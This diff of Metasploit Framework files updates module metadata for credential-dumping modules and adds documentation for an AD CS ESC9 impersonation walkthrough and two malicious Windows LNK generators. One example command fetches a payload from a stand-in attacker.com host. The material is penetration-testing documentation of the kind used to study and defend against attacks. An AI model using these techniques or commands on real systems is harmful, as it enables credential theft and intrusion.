@@ -268006,7 +268698,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-13 09:23:28 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/post/linux/gather/f5_loot_mcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/f5_loot_mcp",
|
||||
@@ -268161,14 +268853,16 @@
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "Post Module to dump the password hashes for all users on a Linux System",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-27 12:23:56 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/linux/gather/hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/hashdump",
|
||||
@@ -268205,7 +268899,8 @@
|
||||
"description": "This module gathers the encrypted passwords stored by Password Manager\n Pro and decrypt them using key materials stored in multiple\n configuration files.",
|
||||
"references": [
|
||||
"URL-https://www.trustedsec.com/blog/the-curious-case-of-the-password-database/",
|
||||
"URL-https://github.com/trustedsec/Zoinks/blob/main/zoinks.py"
|
||||
"URL-https://github.com/trustedsec/Zoinks/blob/main/zoinks.py",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
@@ -268213,7 +268908,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-02 14:03:15 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/post/linux/gather/manageengine_password_manager_creds.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/manageengine_password_manager_creds",
|
||||
@@ -268251,7 +268946,9 @@
|
||||
"URL-https://github.com/huntergregal/mimipenguin",
|
||||
"URL-https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919",
|
||||
"URL-https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490",
|
||||
"CVE-2018-20781"
|
||||
"CVE-2018-20781",
|
||||
"ATT&CK-T1003.007",
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64, aarch64",
|
||||
@@ -268259,7 +268956,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-13 09:23:28 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/linux/gather/mimipenguin.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/mimipenguin",
|
||||
@@ -268331,7 +269028,8 @@
|
||||
],
|
||||
"description": "This module grab OpenVPN credentials from a running process\n in Linux.\n\n Note: --auth-nocache must not be set in the OpenVPN command line.",
|
||||
"references": [
|
||||
"URL-https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh"
|
||||
"URL-https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh",
|
||||
"ATT&CK-T1003.007"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
@@ -268339,7 +269037,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-02 23:29:48 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/linux/gather/openvpn_credentials.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/openvpn_credentials",
|
||||
@@ -268578,7 +269276,8 @@
|
||||
"URL-https://github.com/shmilylty/vhost_password_decrypt",
|
||||
"CVE-2022-22948",
|
||||
"URL-https://pentera.io/blog/information-disclosure-in-vmware-vcenter/",
|
||||
"URL-https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb"
|
||||
"URL-https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
@@ -268586,7 +269285,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2023-04-12 13:09:34 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/post/linux/gather/vcenter_secrets_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/vcenter_secrets_dump",
|
||||
@@ -272991,14 +273690,16 @@
|
||||
"joev <joev@metasploit.com>"
|
||||
],
|
||||
"description": "This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports\n versions 10.3 to 10.14.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "OSX",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-01 02:49:28 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/post/osx/gather/hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/gather/hashdump",
|
||||
@@ -273625,14 +274326,16 @@
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "Post module to dump the password hashes for all users on a Solaris system.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "Solaris",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-30 00:19:25 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/solaris/gather/hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "solaris/gather/hashdump",
|
||||
@@ -274250,7 +274953,8 @@
|
||||
],
|
||||
"description": "This module uses the registry to extract the stored domain hashes that have been\n cached as a result of a GPO setting. The default setting on Windows is to store\n the last ten successful logins.",
|
||||
"references": [
|
||||
"URL-https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb"
|
||||
"URL-https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb",
|
||||
"ATT&CK-T1003.005"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -274258,7 +274962,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-30 11:23:07 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/cachedump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/cachedump",
|
||||
@@ -274696,14 +275400,16 @@
|
||||
"tebo <tebo@attackresearch.com>"
|
||||
],
|
||||
"description": "This module harvests credentials found on the host and stores them in the database.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-28 09:08:33 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/credential_collector.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/credential_collector",
|
||||
@@ -274775,14 +275481,16 @@
|
||||
"theLightCosine <theLightCosine@metasploit.com>"
|
||||
],
|
||||
"description": "This module attempts to copy the NTDS.dit database from a live Domain Controller\n and then parse out all of the User Accounts. It saves all of the captured password\n hashes, including historical ones.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.003"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-28 09:08:33 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/domain_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/domain_hashdump",
|
||||
@@ -274896,14 +275604,16 @@
|
||||
"Kx499"
|
||||
],
|
||||
"description": "This module will enumerate the Microsoft Credential Store and decrypt the\n credentials. This module can only access credentials created by the user the\n process is running as. It cannot decrypt Domain Network Passwords, but will\n display the username and location.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-20 13:20:44 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/enum_cred_store.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/enum_cred_store",
|
||||
@@ -274934,14 +275644,16 @@
|
||||
"Ben Campbell <eat_meatballs@hotmail.co.uk>"
|
||||
],
|
||||
"description": "This module will recover the LAPS (Local Administrator Password Solution) passwords,\n configured in Active Directory, which is usually only accessible by privileged users.\n Note that the local administrator account name is not stored in Active Directory,\n so it is assumed to be 'Administrator' by default.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-28 09:08:33 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/enum_laps.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/enum_laps",
|
||||
@@ -277103,14 +277815,16 @@
|
||||
"Ben Campbell <eat_meatballs@hotmail.co.uk>"
|
||||
],
|
||||
"description": "This module will collect cleartext Single Sign On credentials from the Local\n Security Authority using the Kiwi (Mimikatz) extension. Blank passwords will not be stored\n in the database.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.001"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-28 09:08:33 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/sso.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/sso",
|
||||
@@ -277802,7 +278516,8 @@
|
||||
"description": "This module extracts the plain-text Windows user login password in Registry.\n It exploits a Windows feature that Windows (2000 to 2008 R2) allows a\n user or third-party Windows Utility tools to configure User AutoLogin via\n plain-text password insertion in (Alt)DefaultPassword field in the registry\n location - HKLM\\Software\\Microsoft\\Windows NT\\WinLogon. This is readable\n by all users.",
|
||||
"references": [
|
||||
"URL-http://support.microsoft.com/kb/315231",
|
||||
"URL-http://core.yehg.net/lab/#tools.exploits"
|
||||
"URL-http://core.yehg.net/lab/#tools.exploits",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -277810,7 +278525,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-28 09:08:33 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/windows_autologin.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/windows_autologin",
|
||||
@@ -277847,7 +278562,8 @@
|
||||
"CVE-2021-36934",
|
||||
"URL-https://github.com/GossiTheDog/HiveNightmare",
|
||||
"URL-https://isc.sans.edu/diary/Summer+of+SAM+-+incorrect+permissions+on+Windows+1011+hives/27652",
|
||||
"URL-https://github.com/romarroca/SeriousSam"
|
||||
"URL-https://github.com/romarroca/SeriousSam",
|
||||
"ATT&CK-T1003.002"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -277855,7 +278571,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/windows_sam_hivenightmare.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/windows_sam_hivenightmare",
|
||||
@@ -280035,7 +280751,8 @@
|
||||
],
|
||||
"description": "This module gathers a file using the raw NTFS device, bypassing some Windows restrictions\n such as open file with write lock. Because it avoids the usual file locking issues, it can\n be used to retrieve files such as NTDS.dit.",
|
||||
"references": [
|
||||
"URL-http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/"
|
||||
"URL-http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/",
|
||||
"ATT&CK-T1003.003"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -280043,7 +280760,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-03 12:57:40 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/file_from_raw_ntfs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/file_from_raw_ntfs",
|
||||
@@ -280387,14 +281104,16 @@
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This module will dump the local user accounts from the SAM database using the registry",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.002"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-30 11:23:07 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/hashdump",
|
||||
@@ -280465,14 +281184,16 @@
|
||||
"Rob Bathurst <rob.bathurst@foundstone.com>"
|
||||
],
|
||||
"description": "This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:\n HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt\n code from cachedump.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.004"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-30 11:23:07 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/lsa_secrets.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/lsa_secrets",
|
||||
@@ -280541,14 +281262,16 @@
|
||||
"smashery"
|
||||
],
|
||||
"description": "This module creates a memory dump of a process (to disk) and downloads the file\n for offline analysis.\n\n Options for DUMP_TYPE affect the completeness of the dump:\n\n \"full\" retrieves the entire process address space (all allocated pages);\n \"standard\" excludes image files (e.g. DLLs and EXEs in the address space) as\n well as memory mapped files. As a result, this option can be significantly\n smaller in size.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.001"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-30 11:23:07 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/memory_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/memory_dump",
|
||||
@@ -280664,14 +281387,16 @@
|
||||
"Koen Riepe (koen.riepe <Koen Riepe (koen.riepe@fox-it.com)>"
|
||||
],
|
||||
"description": "This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller.\n It compresses all these files in a cabinet file called All.cab.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.003"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-30 11:23:07 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/ntds_grabber.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/ntds_grabber",
|
||||
@@ -280950,14 +281675,16 @@
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This will dump local accounts from the SAM Database. If the target\n host is a Domain Controller, it will dump the Domain Account Database using the proper\n technique depending on privilege level, OS and role of the host.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.002"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-30 11:23:07 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/gather/smart_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/smart_hashdump",
|
||||
@@ -281962,7 +282689,8 @@
|
||||
"description": "Manage kerberos tickets on a compromised host.",
|
||||
"references": [
|
||||
"URL-https://github.com/GhostPack/Rubeus",
|
||||
"URL-https://github.com/wavvs/nanorobeus"
|
||||
"URL-https://github.com/wavvs/nanorobeus",
|
||||
"ATT&CK-T1003.004"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -281970,7 +282698,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-13 09:23:28 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/windows/manage/kerberos_tickets.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/kerberos_tickets",
|
||||
@@ -282431,7 +283159,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-09 10:51:17 +0000",
|
||||
"mod_time": "2025-09-23 16:22:40 +0000",
|
||||
"path": "/modules/post/windows/manage/powershell/exec_powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/powershell/exec_powershell",
|
||||
|
||||
@@ -36,6 +36,9 @@ The certificate template to issue, e.g., "User".
|
||||
### TARGET_USERNAME
|
||||
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
|
||||
|
||||
### TARGET_PASSWORD
|
||||
The password of the target username. Not required. The module will use Shadow Credentials to authenticate as the target user if this is left blank.
|
||||
|
||||
### UPDATE_LDAP_OBJECT
|
||||
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
|
||||
|
||||
@@ -135,6 +138,72 @@ msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### ESC9 - Update userPrincipalName when you already have `TARGET_PASSWORD`. See shadow credentials don't get created / used
|
||||
```
|
||||
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/esc_update_ldap_object):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ADD_CERT_APP_POLICY no Add certificate application policy OIDs
|
||||
ALT_DNS no Alternative certificate DNS
|
||||
ALT_SID no Alternative object SID
|
||||
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
|
||||
CA kerberos-DC2-CA yes The target certificate authority
|
||||
CERT_TEMPLATE User yes The certificate template
|
||||
LDAPDomain kerberos.issue yes The domain to authenticate to
|
||||
LDAPPassword N0tpassword! yes The password to authenticate with
|
||||
LDAPUsername user1 yes The username to authenticate with, who must have permissions to update the TARGET_USERNAME
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
TARGET_PASSWORD N0tpassword! no The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticaet as the TARGET_USERNAME
|
||||
TARGET_USERNAME user2 yes The username of the target LDAP object (the victim account).
|
||||
UPDATE_LDAP_OBJECT userPrincipalName yes Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert. (Accepted: userPrincipalName, dNSHostName)
|
||||
UPDATE_LDAP_OBJECT_VALUE Administrator yes The account name you wish to impersonate
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS 172.16.199.200 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 445 no The target port (TCP)
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
REQUEST_CERT Request a certificate
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run
|
||||
[*] Running module against 172.16.199.200
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Current value of user2's userPrincipalName:
|
||||
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
|
||||
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
|
||||
[+] The operation completed successfully!
|
||||
[+] 172.16.199.200:445 - The requested certificate was issued.
|
||||
[*] 172.16.199.200:445 - Certificate Policies:
|
||||
[*] 172.16.199.200:445 - Certificate UPN: Administrator
|
||||
[*] 172.16.199.200:445 - Certificate stored at: /home/msfuser/.msf4/loot/20250923135918_default_172.16.199.200_windows.ad.cs_341723.pfx
|
||||
[*] 172.16.199.200:445 - Reverting ldap object
|
||||
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
|
||||
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(admin/dcerpc/esc_update_ldap_object) >
|
||||
```
|
||||
|
||||
### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed.
|
||||
This can lead to arbitrary command execution via manipulated command line buffers.
|
||||
|
||||
References:
|
||||
- [ZDI-CAN-25373](https://www.zerodayinitiative.com/advisories/ZDI-CAN-25373/)
|
||||
- [Windows LNK Research](https://zeifan.my/Windows-LNK/)
|
||||
- [Gist Example](https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1)
|
||||
- [Trend Micro Analysis](https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html)
|
||||
|
||||
Disclosure Date: 2025-07-19.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
1. Load the module: `use auxiliary/fileformat/windows_lnk_padding`.
|
||||
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or BUFFER_SIZE.
|
||||
1. Execute the module: `run`.
|
||||
1. A malicious LNK file will be generated.
|
||||
1. Deliver the LNK file to the target Windows system.
|
||||
1. Open the LNK file to trigger command execution (e.g., launching calc.exe).
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
### COMMAND
|
||||
|
||||
The command to execute when the LNK is opened.
|
||||
|
||||
Default: `C:\\Windows\\System32\\calc.exe`
|
||||
|
||||
Example:
|
||||
```
|
||||
set COMMAND powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload"
|
||||
```
|
||||
|
||||
### DESCRIPTION
|
||||
|
||||
Optional description for the LNK file. If not set, a random sentence is generated.
|
||||
|
||||
Example:
|
||||
```
|
||||
set DESCRIPTION Important Document
|
||||
```
|
||||
|
||||
### ICON_PATH
|
||||
|
||||
Optional path to an icon for the LNK file. If not set, a random system icon path is generated.
|
||||
|
||||
Example:
|
||||
```
|
||||
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
|
||||
```
|
||||
|
||||
### BUFFER_SIZE
|
||||
|
||||
The size of the whitespace padding buffer before the command (must be sufficient to avoid truncation).
|
||||
|
||||
Default: 900
|
||||
|
||||
Example:
|
||||
```
|
||||
set BUFFER_SIZE 1000
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Basic Command Execution on Windows
|
||||
|
||||
Target: Any Windows system (e.g., Windows 10 or later).
|
||||
|
||||
Generate an LNK that launches Calculator with custom padding:
|
||||
|
||||
```
|
||||
msf > use auxiliary/fileformat/windows_lnk_padding
|
||||
msf auxiliary(fileformat/windows_lnk_padding) > set FILENAME calc.lnk
|
||||
FILENAME => calc.lnk
|
||||
msf auxiliary(fileformat/windows_lnk_padding) > set COMMAND C:\\Windows\\System32\\calc.exe
|
||||
COMMAND => C:\\Windows\\System32\\calc.exe
|
||||
msf auxiliary(fileformat/windows_lnk_padding) > set BUFFER_SIZE 900
|
||||
BUFFER_SIZE => 900
|
||||
msf auxiliary(fileformat/windows_lnk_padding) > set DESCRIPTION Calculator Shortcut
|
||||
DESCRIPTION => Calculator Shortcut
|
||||
msf auxiliary(fileformat/windows_lnk_padding) > set ICON_PATH %SystemRoot%\\System32\\calc.exe
|
||||
ICON_PATH => %SystemRoot%\\System32\\calc.exe
|
||||
msf auxiliary(fileformat/windows_lnk_padding) > run
|
||||
|
||||
[*] Generating LNK file: calc.lnk
|
||||
[+] Successfully created calc.lnk
|
||||
[*] Command line buffer size: 900 bytes
|
||||
[*] Target command: C:\\Windows\\System32\\calc.exe
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus.
|
||||
This can result in NTLM credential leaks over SMB.
|
||||
|
||||
References:
|
||||
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
|
||||
|
||||
Disclosure Date: 2025-05-06.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
1. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`.
|
||||
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or PADDING_SIZE.
|
||||
1. Execute the module: `run`.
|
||||
1. A malicious LNK file is generated.
|
||||
1. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`).
|
||||
1. Deliver the LNK file to the target system.
|
||||
1. Right-click the LNK file in Explorer to trigger the SMB connection.
|
||||
1. Monitor the listener for captured NTLM hashes.
|
||||
|
||||
## Options
|
||||
|
||||
### DESCRIPTION
|
||||
|
||||
The description for the shortcut.
|
||||
|
||||
Default: `Testing Purposes`
|
||||
|
||||
Example:
|
||||
```
|
||||
set DESCRIPTION Important File
|
||||
```
|
||||
|
||||
### ICON_PATH
|
||||
|
||||
The path to an icon for the LNK file.
|
||||
|
||||
Default: `e.g. abc.ico`
|
||||
|
||||
Example:
|
||||
```
|
||||
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
|
||||
```
|
||||
|
||||
### PADDING_SIZE
|
||||
|
||||
Size of padding in the command arguments.
|
||||
|
||||
Default: 10
|
||||
|
||||
Example:
|
||||
```
|
||||
set PADDING_SIZE 20
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### NTLM Hash Capture on Right-Click
|
||||
|
||||
Target: Windows system with Explorer (e.g., Windows 10 or later).
|
||||
|
||||
Generate the LNK file:
|
||||
|
||||
```
|
||||
msf > use auxiliary/fileformat/right_click_lnk_leak
|
||||
msf auxiliary(fileformat/right_click_lnk_leak) > set DESCRIPTION Fake Document
|
||||
DESCRIPTION => Fake Document
|
||||
